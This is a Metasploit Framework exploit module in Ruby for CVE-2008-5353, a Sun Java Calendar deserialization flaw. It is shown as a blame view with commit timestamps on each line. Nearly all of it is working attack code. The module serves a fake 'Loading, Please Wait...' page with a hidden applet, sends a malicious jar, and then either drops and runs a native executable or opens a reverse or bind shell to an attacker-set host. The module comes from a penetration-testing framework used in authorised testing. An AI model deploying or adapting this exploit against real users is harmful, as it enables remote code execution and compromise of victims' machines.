2010-01-19 19:12:42 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-06-16 17:19:44 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-06-16 17:19:44 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2009-06-16 17:19:44 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2010-09-20 04:38:13 +00:00
|
|
|
include Msf::Exploit::EXE
|
2010-07-11 23:21:04 +00:00
|
|
|
|
2012-04-04 00:23:42 +00:00
|
|
|
# Superceded by java_atomicreferencearray
|
|
|
|
#include Msf::Exploit::Remote::BrowserAutopwn
|
|
|
|
#autopwn_info({ :javascript => false })
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2009-06-16 17:19:44 +00:00
|
|
|
def initialize( info = {} )
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2009-06-16 17:19:44 +00:00
|
|
|
super( update_info( info,
|
2012-02-21 01:25:55 +00:00
|
|
|
'Name' => 'Sun Java Calendar Deserialization Privilege Escalation',
|
2010-01-19 19:12:42 +00:00
|
|
|
'Description' => %q{
|
2009-06-16 17:19:44 +00:00
|
|
|
This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.
|
2010-01-19 19:12:42 +00:00
|
|
|
|
|
|
|
The payload can be either a native payload which is generated as an executable and
|
2009-06-16 17:19:44 +00:00
|
|
|
dropped/executed on the target or a shell from within the Java applet in the target browser.
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2009-12-15 20:37:15 +00:00
|
|
|
The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16
|
2009-06-16 17:19:44 +00:00
|
|
|
and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).
|
|
|
|
},
|
2010-01-19 19:12:42 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'sf', 'hdm' ],
|
|
|
|
'References' =>
|
2009-06-16 17:19:44 +00:00
|
|
|
[
|
2009-10-14 11:45:14 +00:00
|
|
|
[ 'CVE', '2008-5353' ],
|
2009-07-27 14:05:23 +00:00
|
|
|
[ 'OSVDB', '50500'],
|
2009-06-16 17:19:44 +00:00
|
|
|
[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ],
|
|
|
|
[ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ],
|
|
|
|
[ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ],
|
2010-01-19 19:12:42 +00:00
|
|
|
[ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-244991-1' ]
|
2009-06-16 17:19:44 +00:00
|
|
|
],
|
2010-01-19 19:12:42 +00:00
|
|
|
'Platform' => [ 'win', 'osx', 'linux', 'solaris' ],
|
2010-07-20 00:53:24 +00:00
|
|
|
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
|
2010-01-19 19:12:42 +00:00
|
|
|
'Targets' =>
|
2009-06-16 17:19:44 +00:00
|
|
|
[
|
2010-01-19 19:12:42 +00:00
|
|
|
[ 'Generic (Java Payload)',
|
2009-06-16 17:19:44 +00:00
|
|
|
{
|
2010-07-20 00:53:24 +00:00
|
|
|
'Platform' => ['java'],
|
|
|
|
'Arch' => ARCH_JAVA,
|
2009-06-16 17:19:44 +00:00
|
|
|
}
|
|
|
|
],
|
2010-01-19 19:12:42 +00:00
|
|
|
[ 'Windows x86 (Native Payload)',
|
2009-06-16 17:19:44 +00:00
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
}
|
|
|
|
],
|
2010-01-19 19:12:42 +00:00
|
|
|
[ 'Mac OS X PPC (Native Payload)',
|
2009-06-16 17:19:44 +00:00
|
|
|
{
|
|
|
|
'Platform' => 'osx',
|
|
|
|
'Arch' => ARCH_PPC,
|
|
|
|
}
|
|
|
|
],
|
2010-01-19 19:12:42 +00:00
|
|
|
[ 'Mac OS X x86 (Native Payload)',
|
2009-06-16 17:19:44 +00:00
|
|
|
{
|
|
|
|
'Platform' => 'osx',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
}
|
|
|
|
],
|
2010-01-19 19:12:42 +00:00
|
|
|
[ 'Linux x86 (Native Payload)',
|
2009-06-16 17:19:44 +00:00
|
|
|
{
|
|
|
|
'Platform' => 'linux',
|
2010-01-19 19:12:42 +00:00
|
|
|
'Arch' => ARCH_X86,
|
2009-06-16 17:19:44 +00:00
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
2010-07-03 03:13:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Dec 03 2008'
|
2009-06-16 17:19:44 +00:00
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2010-01-19 19:12:42 +00:00
|
|
|
def exploit
|
|
|
|
# load the static jar file
|
|
|
|
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2008-5353.jar" )
|
|
|
|
fd = File.open( path, "rb" )
|
|
|
|
@jar_data = fd.read(fd.stat.size)
|
|
|
|
fd.close
|
|
|
|
|
|
|
|
super
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2009-06-16 17:19:44 +00:00
|
|
|
def on_request_uri( cli, request )
|
|
|
|
data = nil
|
|
|
|
host = nil
|
|
|
|
port = nil
|
|
|
|
|
|
|
|
if not request.uri.match(/\.jar$/i)
|
|
|
|
if not request.uri.match(/\/$/)
|
|
|
|
send_redirect( cli, get_resource() + '/', '')
|
|
|
|
return
|
|
|
|
end
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2012-04-20 19:31:42 +00:00
|
|
|
print_status("#{self.name} handling request")
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2009-06-16 17:19:44 +00:00
|
|
|
payload = regenerate_payload( cli )
|
|
|
|
if not payload
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error( "Failed to generate the payload." )
|
2009-06-16 17:19:44 +00:00
|
|
|
return
|
|
|
|
end
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2009-06-16 17:19:44 +00:00
|
|
|
if target.name == 'Generic (Java Payload)'
|
|
|
|
if datastore['LHOST']
|
2010-07-20 00:53:24 +00:00
|
|
|
jar = payload.encoded
|
2009-06-16 17:19:44 +00:00
|
|
|
host = datastore['LHOST']
|
|
|
|
port = datastore['LPORT']
|
2012-04-20 19:31:42 +00:00
|
|
|
print_status("Payload will be a Java reverse shell")
|
2009-06-16 17:19:44 +00:00
|
|
|
else
|
|
|
|
port = datastore['LPORT']
|
|
|
|
datastore['RHOST'] = cli.peerhost
|
2012-04-20 19:31:42 +00:00
|
|
|
print_status("Payload will be a Java bind shell")
|
2009-06-16 17:19:44 +00:00
|
|
|
end
|
2010-07-20 00:53:24 +00:00
|
|
|
if jar
|
|
|
|
print_status( "Generated jar to drop (#{jar.length} bytes)." )
|
|
|
|
jar = Rex::Text.to_hex( jar, prefix="" )
|
|
|
|
else
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error( "Failed to generate the executable." )
|
2010-07-20 00:53:24 +00:00
|
|
|
return
|
|
|
|
end
|
2009-06-16 17:19:44 +00:00
|
|
|
else
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2010-09-20 04:38:13 +00:00
|
|
|
# NOTE: The EXE mixin automagically handles detection of arch/platform
|
|
|
|
data = generate_payload_exe
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2009-06-16 17:19:44 +00:00
|
|
|
if data
|
|
|
|
print_status( "Generated executable to drop (#{data.length} bytes)." )
|
|
|
|
data = Rex::Text.to_hex( data, prefix="" )
|
|
|
|
else
|
2010-07-25 21:37:54 +00:00
|
|
|
print_error( "Failed to generate the executable." )
|
2009-06-16 17:19:44 +00:00
|
|
|
return
|
|
|
|
end
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2009-06-16 17:19:44 +00:00
|
|
|
end
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2010-07-20 00:53:24 +00:00
|
|
|
send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )
|
2009-06-16 17:19:44 +00:00
|
|
|
return
|
|
|
|
end
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2012-04-20 19:31:42 +00:00
|
|
|
print_status( "Sending Applet.jar" )
|
2009-06-16 17:19:44 +00:00
|
|
|
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
|
|
|
|
|
|
|
|
handler( cli )
|
|
|
|
end
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2010-07-20 00:53:24 +00:00
|
|
|
def generate_html( data, jar, host, port )
|
2009-06-16 17:19:44 +00:00
|
|
|
html = "<html><head><title>Loading, Please Wait...</title></head>"
|
|
|
|
html += "<body><center><p>Loading, Please Wait...</p></center>"
|
|
|
|
html += "<applet archive=\"Applet.jar\" code=\"msf.x.AppletX.class\" width=\"1\" height=\"1\">"
|
|
|
|
html += "<param name=\"data\" value=\"#{data}\"/>" if data
|
2010-07-20 00:53:24 +00:00
|
|
|
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
|
2009-06-16 17:19:44 +00:00
|
|
|
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
|
|
|
|
html += "<param name=\"lport\" value=\"#{port}\"/>" if port
|
|
|
|
html += "</applet></body></html>"
|
|
|
|
return html
|
|
|
|
end
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2009-06-16 17:19:44 +00:00
|
|
|
def generate_jar()
|
2010-01-19 19:12:42 +00:00
|
|
|
return @jar_data
|
2009-06-16 17:19:44 +00:00
|
|
|
end
|
2010-01-19 19:12:42 +00:00
|
|
|
|
2009-06-16 17:19:44 +00:00
|
|
|
end
|